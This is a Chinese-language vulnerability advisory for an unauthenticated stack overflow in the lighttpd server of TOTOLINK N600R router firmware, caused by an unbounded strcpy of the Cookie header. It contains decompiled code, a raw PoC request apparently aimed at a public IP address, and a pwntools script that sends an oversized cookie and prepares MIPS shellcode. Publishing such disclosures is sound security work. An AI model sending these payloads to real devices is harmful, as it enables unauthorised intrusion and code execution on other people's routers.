

TOTOLINK_N600R_lighttpd_stackoverflow

厂商

TOTOLINK

影响设备

N600R V5.3c.5507

N600R V4.3.0cu.7647_B20210106

http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

[固件下载](#)

描述

TOTOLINK N600RV4.3.0cu.7647_B20210106与TOTOLINK N600RV5.3c.5507 lighttpd存在栈溢出漏洞，可能导致任意代码执行，此漏洞无需认证

细节

在接收cookie时使用strcpy函数将cookie拷贝到了栈上并没有限制长度直接导致了栈溢出

```
2 {
3 char *v4; // [sp+18h] [+18h]
4 char *v5; // [sp+18h] [+18h]
5 char *v6; // [sp+18h] [+18h]
6 char *i; // [sp+1Ch] [+1Ch]
7 char *v8; // [sp+20h] [+20h]
8 char v9[128]; // [sp+28h] [+28h] BYREF
9
10 memset(v9, 0, sizeof(v9));
11 if ( !*( _DWORD * )(a1 + 376) )
12     return 1;
13 v8 = strstr(*(const char **)(a1 + 292), a2); // cookie
14 if ( !v8 )
15     return 1;
16 for ( i = &v8[strlen(a2)]; *i == ' ' || *i == 9; ++i )
17     ;
18 if ( *i == '=' )
19 {
20     strcpy(a3, i + 1);
21     v4 = strstr(a3, "\r\n");
22     if ( v4 )
23         *v4 = 0;
24     v5 = strchr(a3, '\n');
25     if ( v5 )
26         *v5 = 0;
27     v6 = strchr(a3, ';');
28     if ( v6 )
29         *v6 = 0;
30     strlen(a3);
31 }
32 return 0;
33 }
```

POC

```
GET /home.asp HTTP/1.1
Host: 94.231.182.159:1024
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101
Firefox/98.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:SESSION_ID=2:1609948145:2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
Upgrade-Insecure-Requests: 1
```

```
from pwn import *
#import requests
context(log_level="debug")
#url="http://192.168.0.1/home.asp"
io=remote("192.168.0.1",80)
#payload="a"*(0x15-14)+'\x00'
context.arch='mips'
shellcode=asm(shellcraft.sh())
payload="a"*0x1000
#payload=shellcode
msg2 = 'GET /home.asp HTTP/1.1\r\n'
msg2 += 'Host: 192.168.0.1\r\n'
msg2 += 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101
Firefox/61.0\r\n'
msg2 += 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r
\n'
msg2 += 'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2\r\n'
msg2 += 'Accept-Encoding: gzip, deflate\r\n'
msg2 += 'Origin: http://192.168.0.1/home.asp\r\n'
msg2 += 'Connection: close\r\n'
msg2 += 'Referer: http://192.168.0.1/\r\n'
msg2 += 'Cookie:SESSION_ID=2:1609948145:2'+payload+'\r\n'
msg2 += 'Upgrade-Insecure-Requests: 1\r\n\r\n'
io.send(msg2)
#io.close()

io.interactive()
```